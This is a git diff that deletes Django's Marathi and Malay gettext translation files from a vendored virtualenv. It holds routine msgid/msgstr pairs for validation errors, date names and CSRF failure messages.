-msgstr "स्थिर फाइल्स" - -msgid "Syndication" -msgstr "सिंडिकेशन" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "तो पान क्रमांक पूर्णांक नाही." - -msgid "That page number is less than 1" -msgstr "तो पान क्रमांक 1 पेक्षा कमी आहे" - -msgid "That page contains no results" -msgstr "त्या पानावर कोणतेही परिणाम नाहीत." - -msgid "Enter a valid value." -msgstr "वैध मूल्य टाका." - -msgid "Enter a valid URL." -msgstr "एक योग्य युआरएल टाका करा." - -msgid "Enter a valid integer." -msgstr "योग्य पूर्णांक टाका." - -msgid "Enter a valid email address." -msgstr "योग्य विपत्र पत्ता टाका." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "अक्षरे, संख्या, अंडरस्कोर किंवा हायफनसह असलेला योग्य \"स्लग\" टाका." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "योग्य \"स्लग\" टाका ज्यामध्ये यूनिकोड अक्षरे, अंक, अंडरस्कोर किंवा हायफन असतात." - -msgid "Enter a valid IPv4 address." -msgstr "योग्य IPv4 पत्ता टाका." - -msgid "Enter a valid IPv6 address." -msgstr "योग्य IPv6 पत्ता टाका." - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "योग्य IPv4 किंवा IPv6 पत्ता नमूद करा." - -msgid "Enter only digits separated by commas." -msgstr "स्वल्पविरामाने वेगळे केलेले अंकच फक्त नमूद करा." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "हे मूल्य%(limit_value)s(%(show_value)s) आहे याची खात्री करा." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "हे मूल्य %(limit_value)sया मर्यादेइतके किंवा त्यापेक्षा कमी आहे याची काळजी घ्या." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "हे मूल्य %(limit_value)sया मर्यादेइतके किंवा त्यापेक्षा जास्त आहे याची काळजी घ्या." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "हे मूल्य पायरी आकार %(limit_value)s चा गुणाकार असल्याची खात्री करा." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "अंक टाका." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "शून्य वर्णांना परवानगी नाही." - -msgid "and" -msgstr "आणि" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s सह %(field_labels)s हे अगोदरच अस्तित्वात आहे." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "\"%(name)s\" च्या मर्यादेचं उल्लंघन आहे." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Value %(value)r हा योग्य पर्याय नाही." - -msgid "This field cannot be null." -msgstr "हे क्षेत्र रिक्त असू शकत नाही." - -msgid "This field cannot be blank." -msgstr "हे क्षेत्र रिक्त असू शकत नाही." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s %(field_label)s ने अगोदरच अस्तित्वात आहे." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "क्षेत्राचा प्रकार: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” मूल्य सत्य किंवा असत्य असावा." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "“%(value)s” मूल्य सत्य, असत्य किंवा कोणतेही नसावेत." - -msgid "Boolean (Either True or False)" -msgstr "बूलियन (सत्य किंवा असत्य)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "" - -msgid "String (unlimited)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "स्वल्पविरामाने वेगळे केलेले पूर्णांक" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "दिनांक (वेळेशिवाय)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "दिनांक (वेळेसह)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "कालावधी" - -msgid "Email address" -msgstr "विपत्र पत्ता" - -msgid "File path" -msgstr "दस्तऐवज मार्ग" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "पूर्णांक" - -msgid "Big (8 byte) integer" -msgstr "" - -msgid "Small integer" -msgstr "लहान पूर्णांक" - -msgid "IPv4 address" -msgstr "IPv4 पत्ता" - -msgid "IP address" -msgstr "IP पत्ता" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "बुलियन (एकतर खरे, असत्य किंवा काहीही नाही)" - -msgid "Positive big integer" -msgstr "सकारात्मक मोठा पूर्णांक" - -msgid "Positive integer" -msgstr "सकारात्मक पूर्णांक" - -msgid "Positive small integer" -msgstr "सकारात्मक लहान पूर्णांक" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "" - -msgid "Text" -msgstr "मजकूर" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "वेळ" - -msgid "URL" -msgstr "" - -msgid "Raw binary data" -msgstr "कच्चा बायनरी डेटा" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "सार्वत्रिक अद्वितीय ओळखकर्ता" - -msgid "File" -msgstr "फाइल" - -msgid "Image" -msgstr "चित्र " - -msgid "A JSON object" -msgstr "" - -msgid "Value must be valid JSON." -msgstr "मूल्य योग्य JSON असणे आवश्यक." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "" - -msgid "One-to-one relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "हे क्षेत्र आवश्यक आहे." - -msgid "Enter a whole number." -msgstr "पूर्ण संख्या प्रविष्ट करा." - -msgid "Enter a valid date." -msgstr "योग्य दिनांक नमूद करा." - -msgid "Enter a valid time." -msgstr "योग्य वेळ नमूद करा." - -msgid "Enter a valid date/time." -msgstr "योग्य दिनांक/वेळ नमूद करा." - -msgid "Enter a valid duration." -msgstr "योग्य कालावधी नमूद करा." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "दिवसांची संख्या {min_days} आणि {max_days} च्या मधे असावी." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "कोणताही दस्तऐवज सुपूर्त केलेला नाही. अर्जावरील एन्कोडिंग प्रकार तपासा." - -msgid "No file was submitted." -msgstr "कोणताही दस्तऐवज सुपूर्त केलेला नाही." - -msgid "The submitted file is empty." -msgstr "सुपूर्त केलेला दस्तऐवज रिकामी आहे." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "कृपया एकतर फाइल सबमिट करा किंवा स्पष्ट चेकबॉक्स चेक करा, दोन्ही नाही." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "एक वैध प्रतिमा अपलोड करा. तुम्ही अपलोड केलेली फाइल चित्र किंवा दूषित चित्र नव्हते." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" - -msgid "Enter a list of values." -msgstr "मूल्यांची यादी नमूद करा." - -msgid "Enter a complete value." -msgstr "पूर्ण मूल्य नमूद करा." - -msgid "Enter a valid UUID." -msgstr "योग्य UUID नमूद करा." - -msgid "Enter a valid JSON." -msgstr "योग्य JSON नमूद करा." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" - -msgid "Order" -msgstr "क्रम" - -msgid "Delete" -msgstr "घालवा" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "कृपया %(field)s साठी दुय्यम माहिती प्रत सुधारा." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" - -msgid "Please correct the duplicate values below." -msgstr "कृपया खालील नकली मूल्ये सुधारा." - -msgid "The inline value did not match the parent instance." -msgstr "इनलाइन मूल्य मूळ उदाहरणाशी जुळत नाही." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "तो पर्याय उपलब्ध पर्यायांपैकी एक नाही. योग्य पर्याय निवडा. " - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” हे वैध मूल्य नाही." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "साफ करा" - -msgid "Currently" -msgstr "सध्या" - -msgid "Change" -msgstr "बदला" - -msgid "Unknown" -msgstr "अज्ञात" - -msgid "Yes" -msgstr "होय" - -msgid "No" -msgstr "नाही" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "होय,नाही,कदाचित" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%s KB" -msgstr "%s केबी" - -#, python-format -msgid "%s MB" -msgstr "%s एमबी" - -#, python-format -msgid "%s GB" -msgstr "%s जीबी" - -#, python-format -msgid "%s TB" -msgstr "%s टिबी" - -#, python-format -msgid "%s PB" -msgstr "%s पीबी" - -msgid "p.m." -msgstr "म.उ." - -msgid "a.m." -msgstr "म.पू." - -msgid "PM" -msgstr "मउ" - -msgid "AM" -msgstr "मपू" - -msgid "midnight" -msgstr "मध्यरात्री" - -msgid "noon" -msgstr "दुपारी" - -msgid "Monday" -msgstr "सोमवार" - -msgid "Tuesday" -msgstr "मंगळवार" - -msgid "Wednesday" -msgstr "बुधवार" - -msgid "Thursday" -msgstr "गुरुवार" - -msgid "Friday" -msgstr "शुक्रवार" - -msgid "Saturday" -msgstr "शनिवार" - -msgid "Sunday" -msgstr "रविवार" - -msgid "Mon" -msgstr "सोम" - -msgid "Tue" -msgstr "मंगळ" - -msgid "Wed" -msgstr "बुध" - -msgid "Thu" -msgstr "गुरु" - -msgid "Fri" -msgstr "शुक्र" - -msgid "Sat" -msgstr "शनि" - -msgid "Sun" -msgstr "रवि" - -msgid "January" -msgstr "जानेवारी" - -msgid "February" -msgstr "फेब्रुवारी" - -msgid "March" -msgstr "मार्च" - -msgid "April" -msgstr "एप्रिल" - -msgid "May" -msgstr "मे" - -msgid "June" -msgstr "जून" - -msgid "July" -msgstr "जुलै" - -msgid "August" -msgstr "ऑगस्ट" - -msgid "September" -msgstr "सप्टेंबर" - -msgid "October" -msgstr "ऑक्टोबर" - -msgid "November" -msgstr "नोव्हेंबर" - -msgid "December" -msgstr "डिसेंबर" - -msgid "jan" -msgstr "जान" - -msgid "feb" -msgstr "फेब" - -msgid "mar" -msgstr "मार" - -msgid "apr" -msgstr "एप्रि" - -msgid "may" -msgstr "मे" - -msgid "jun" -msgstr "जून" - -msgid "jul" -msgstr "जुल" - -msgid "aug" -msgstr "ऑग" - -msgid "sep" -msgstr "सप" - -msgid "oct" -msgstr "ऑक्ट" - -msgid "nov" -msgstr "नोव्ह" - -msgid "dec" -msgstr "डिस" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "जान." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "फेब." - -msgctxt "abbrev. month" -msgid "March" -msgstr "मार्च" - -msgctxt "abbrev. month" -msgid "April" -msgstr "एप्रिल" - -msgctxt "abbrev. month" -msgid "May" -msgstr "मे" - -msgctxt "abbrev. month" -msgid "June" -msgstr "जून" - -msgctxt "abbrev. month" -msgid "July" -msgstr "जुलै" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "ऑग." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "सप्ट." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "ऑक्ट." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "नोव्ह." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "डिस." - -msgctxt "alt. month" -msgid "January" -msgstr "जानेवारी" - -msgctxt "alt. month" -msgid "February" -msgstr "फेब्रुवारी" - -msgctxt "alt. month" -msgid "March" -msgstr "मार्च" - -msgctxt "alt. month" -msgid "April" -msgstr "एप्रिल" - -msgctxt "alt. month" -msgid "May" -msgstr "मे" - -msgctxt "alt. month" -msgid "June" -msgstr "जून" - -msgctxt "alt. month" -msgid "July" -msgstr "जुलै" - -msgctxt "alt. month" -msgid "August" -msgstr "ऑगस्ट" - -msgctxt "alt. month" -msgid "September" -msgstr "सप्टेंबर" - -msgctxt "alt. month" -msgid "October" -msgstr "ऑक्टोबर" - -msgctxt "alt. month" -msgid "November" -msgstr "नोव्हेंबर" - -msgctxt "alt. month" -msgid "December" -msgstr "डिसेंबर" - -msgid "This is not a valid IPv6 address." -msgstr "हा योग्य IPv6 पत्ता नाही." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "किंवा" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr "," - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "" -msgstr[1] "" - -msgid "Forbidden" -msgstr "निषिद्ध" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF चाचणी अयशस्वी झाली. विनंती रद्द केली." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"तुम्हाला हा सनदेश दिसत आहे कारण या HTTPS संकेतस्थळाला तुमच्या वेब ब्राउझरद्वारे \"रेफरर " -"हेडर\" पाठवण्याची आवश्यकता आहे, परंतु कोणतेही पाठवले नाही. तुमचा ब्राउझर तृतीय पक्षांकडून " -"हायजॅक केला जात नाही याची खात्री करण्यासाठी सुरक्षिततेच्या दृष्टीने हे शीर्षलेख आवश्यक आहे." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"किमान या साइटसाठी किंवा HTTPS कनेक्शनसाठी किंवा “समान-मूळ” विनंत्यांसाठी, तुम्ही तुमचे " -"ब्राउझर “रेफरर” हेडर अक्षम केले असल्यास, कृपया ते पुन्हा-सक्षम करा." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"तुम्ही जोडणी वापरत असल्यास किंवा \"रेफरर-पॉलिसी: नो-रेफरर\" हेडर समाविष्ट करत " -"असल्यास, कृपया ते काढून टाका. CSRF संरक्षणासाठी \"रेफरर\" हेडर कठोर रेफरर तपासणी करणे " -"आवश्यक आहे. तुम्हाला गोपनीयतेबद्दल काळजी वाटत असल्यास, तृतीय-पक्ष स्थळाच्या दुव्यासाठी सारखे पर्याय वापरा." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"तुम्हाला हा संदेश दिसत आहे कारण अर्ज सुपूर्त करताना या स्थळाला CSRF कुकी आवश्यक आहे. तुमचा " -"ब्राउझर तृतीय पक्षांकडून हायजॅक केला जात नाही याची खात्री करण्यासाठी ही कुकी " -"सुरक्षिततेच्या कारणांसाठी आवश्यक आहे." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"किमान या साइटसाठी किंवा \"समान-मूळ\" विनंत्यांसाठी, कृपया अक्षम केलेल्या ब्राउझर कुकीज " -"पुन्हा सक्षम करा." - -msgid "More information is available with DEBUG=True." -msgstr "अधिक माहिती DEBUG=True सह उपलब्ध आहे." - -msgid "No year specified" -msgstr "कोणतेही वर्ष नमूद केलेले नाही" - -msgid "Date out of range" -msgstr "पल्ल्याच्या बाहेरची दिनांक" - -msgid "No month specified" -msgstr "कोणताही महिना निर्दिष्ट केलेला नाही" - -msgid "No day specified" -msgstr "कोणताही दिवस निर्दिष्ट केलेला नाही" - -msgid "No week specified" -msgstr "कोणताही आठवडा निर्दिष्ट केलेला नाही" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "कोणतेही %(verbose_name_plural)s उपलब्ध नाहीत" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "क्वेरीसह जुळणारे कोणतेही %(verbose_name)s सापडले नाही" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "अवैध पान (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "डिरेक्टरी निर्देशकांना येथे परवानगी नाही." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” अस्तित्वात नाही" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s चे निर्देशांक" - -msgid "The install worked successfully! Congratulations!" -msgstr "इंस्टॉलेशनने यशस्वीरित्या कार्य केले! अभिनंदन!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"डिजांगो %(version)s साठी प्रदर्शित संदेश पहा" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"तुम्ही हे पान पाहत आहात कारण तुमच्या सेटिंग्ज फाइलमध्ये DEBUG=True आहे आणि तुम्ही कोणतीही URL कॉन्फिगर केलेली नाही." - -msgid "Django Documentation" -msgstr "जांगो दस्तऐवजीकरण" - -msgid "Topics, references, & how-to’s" -msgstr "विषय, संदर्भ, आणि कसे करावे" - -msgid "Tutorial: A Polling App" -msgstr "शिकवणी: मतदान अ‍ॅप" - -msgid "Get started with Django" -msgstr "जॅंगो सोबत सुरवात करा" - -msgid "Django Community" -msgstr "जॅंगो समुदाय" - -msgid "Connect, get help, or contribute" -msgstr "जोडा, मदत मिळवा किंवा हातभार लावा" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ms/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ms/LC_MESSAGES/django.mo deleted file mode 100644 index 90813401..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ms/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ms/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ms/LC_MESSAGES/django.po deleted file mode 100644 index 58847456..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ms/LC_MESSAGES/django.po +++ /dev/null @@ -1,1286 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Jafry Hisham, 2021 -# Mariusz Felisiak , 2021 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2021-09-21 10:22+0200\n" -"PO-Revision-Date: 2021-12-06 07:43+0000\n" -"Last-Translator: Mariusz Felisiak \n" -"Language-Team: Malay (http://www.transifex.com/django/django/language/ms/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ms\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "Bahasa Afrikaans" - -msgid "Arabic" -msgstr "Bahasa Arab" - -msgid "Algerian Arabic" -msgstr "Bahasa Arab Algeria" - -msgid "Asturian" -msgstr "Bahasa Asturia" - -msgid "Azerbaijani" -msgstr "Bahasa Azerbaijan" - -msgid "Bulgarian" -msgstr "Bahasa Bulgaria" - -msgid "Belarusian" -msgstr "Bahasa Belarus" - -msgid "Bengali" -msgstr "Bahasa Benggali" - -msgid "Breton" -msgstr "Bahasa Breton" - -msgid "Bosnian" -msgstr "Bahasa Bosnia" - -msgid "Catalan" -msgstr "Bahasa Catalonia" - -msgid "Czech" -msgstr "Bahasa Czech" - -msgid "Welsh" -msgstr "Bahasa Wales" - -msgid "Danish" -msgstr "Bahasa Denmark" - -msgid "German" -msgstr "Bahasa Jerman" - -msgid "Lower Sorbian" -msgstr "Bahasa Sorbian Rendah" - -msgid "Greek" -msgstr "Bahasa Yunani" - -msgid "English" -msgstr "Bahasa Inggeris" - -msgid "Australian English" -msgstr "Bahasa Inggeris Australia" - -msgid "British English" -msgstr "Bahasa Inggeris British" - -msgid "Esperanto" -msgstr "Bahasa Esperanto" - -msgid "Spanish" -msgstr "Bahasa Sepanyol" - -msgid "Argentinian Spanish" -msgstr "Bahasa Sepanyol Argentina" - -msgid "Colombian Spanish" -msgstr "Bahasa Sepanyol Kolumbia" - -msgid "Mexican Spanish" -msgstr "Bahasa Sepanyol Mexico" - -msgid "Nicaraguan Spanish" -msgstr "Bahasa Sepanyol Nicaragua" - -msgid "Venezuelan Spanish" -msgstr "Bahasa Sepanyol Venezuela" - -msgid "Estonian" -msgstr "Bahasa Estonia" - -msgid "Basque" -msgstr "Bahasa Bask" - -msgid "Persian" -msgstr "Bahasa Farsi" - -msgid "Finnish" -msgstr "Bahassa Finland" - -msgid "French" -msgstr "Bahasa Perancis" - -msgid "Frisian" -msgstr "Bahasa Frisia" - -msgid "Irish" -msgstr "Bahasa Ireland" - -msgid "Scottish Gaelic" -msgstr "Bahasa Gael Scotland" - -msgid "Galician" -msgstr "Bahasa Galisia" - -msgid "Hebrew" -msgstr "Bahasa Ibrani" - -msgid "Hindi" -msgstr "Bahasa Hindi" - -msgid "Croatian" -msgstr "Bahasa Kroatia" - -msgid "Upper Sorbian" -msgstr "Bahasa Sorbia Atasan" - -msgid "Hungarian" -msgstr "Bahasa Hungary" - -msgid "Armenian" -msgstr "Bahasa Armenia" - -msgid "Interlingua" -msgstr "Bahasa Interlingua" - -msgid "Indonesian" -msgstr "Bahasa Indonesia" - -msgid "Igbo" -msgstr "Bahasa Igbo" - -msgid "Ido" -msgstr "Bahasa Ido" - -msgid "Icelandic" -msgstr "Bahasa Iceland" - -msgid "Italian" -msgstr "Bahasa Itali" - -msgid "Japanese" -msgstr "Bahasa Jepun" - -msgid "Georgian" -msgstr "Bahasa Georgia" - -msgid "Kabyle" -msgstr "Bahasa Kabylia" - -msgid "Kazakh" -msgstr "Bahasa Kazakhstan" - -msgid "Khmer" -msgstr "Bahasa Kambodia" - -msgid "Kannada" -msgstr "Bahasa Kannada" - -msgid "Korean" -msgstr "Bahasa Korea" - -msgid "Kyrgyz" -msgstr "Bahasa Kyrgyzstan" - -msgid "Luxembourgish" -msgstr "Bahasa Luxemborg" - -msgid "Lithuanian" -msgstr "Bahasa Lithuania" - -msgid "Latvian" -msgstr "Bahasa Latvia" - -msgid "Macedonian" -msgstr "Bahasa Masedonia" - -msgid "Malayalam" -msgstr "Malayalam" - -msgid "Mongolian" -msgstr "Bahasa Mongol" - -msgid "Marathi" -msgstr "Marathi" - -msgid "Malay" -msgstr "Bahasa Melayu" - -msgid "Burmese" -msgstr "Bahasa Burma" - -msgid "Norwegian Bokmål" -msgstr "Bahasa Bokmal Norway" - -msgid "Nepali" -msgstr "Bahasa Nepal" - -msgid "Dutch" -msgstr "Belanda" - -msgid "Norwegian Nynorsk" -msgstr "Bahasa Nynorsk Norway" - -msgid "Ossetic" -msgstr "Bahasa Ossetic" - -msgid "Punjabi" -msgstr "Bahasa Punjab" - -msgid "Polish" -msgstr "Bahasa Poland" - -msgid "Portuguese" -msgstr "Bahasa Portugal" - -msgid "Brazilian Portuguese" -msgstr "Bahasa Portugal Brazil" - -msgid "Romanian" -msgstr "Bahasa Romania" - -msgid "Russian" -msgstr "Bahasa Rusia" - -msgid "Slovak" -msgstr "Bahasa Slovakia" - -msgid "Slovenian" -msgstr "Bahasa Slovenia" - -msgid "Albanian" -msgstr "Bahasa Albania" - -msgid "Serbian" -msgstr "Bahasa Serbia" - -msgid "Serbian Latin" -msgstr "Bahasa Latin Serbia" - -msgid "Swedish" -msgstr "Bahasa Sweden" - -msgid "Swahili" -msgstr "Bahasa Swahili" - -msgid "Tamil" -msgstr "Bahasa Tamil" - -msgid "Telugu" -msgstr "Bahasa Telugu" - -msgid "Tajik" -msgstr "Bahasa Tajik" - -msgid "Thai" -msgstr "Bahasa Siam" - -msgid "Turkmen" -msgstr "Bahasa Turkmenistan" - -msgid "Turkish" -msgstr "Bahasa Turki" - -msgid "Tatar" -msgstr "Bahasa Tatar" - -msgid "Udmurt" -msgstr "Bahasa Udmurt" - -msgid "Ukrainian" -msgstr "Bahasa Ukraine" - -msgid "Urdu" -msgstr "Bahasa Urdu" - -msgid "Uzbek" -msgstr "Bahasa Uzbekistan" - -msgid "Vietnamese" -msgstr "Bahasa Vietnam" - -msgid "Simplified Chinese" -msgstr "Bahasa Cina (Dipermudahkan)" - -msgid "Traditional Chinese" -msgstr "Bahasa Cina Tradisional" - -msgid "Messages" -msgstr "Mesej" - -msgid "Site Maps" -msgstr "Peta Laman" - -msgid "Static Files" -msgstr "Fail Statik" - -msgid "Syndication" -msgstr "Sindikasi" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "Nombor ruangan itu bukanlah integer" - 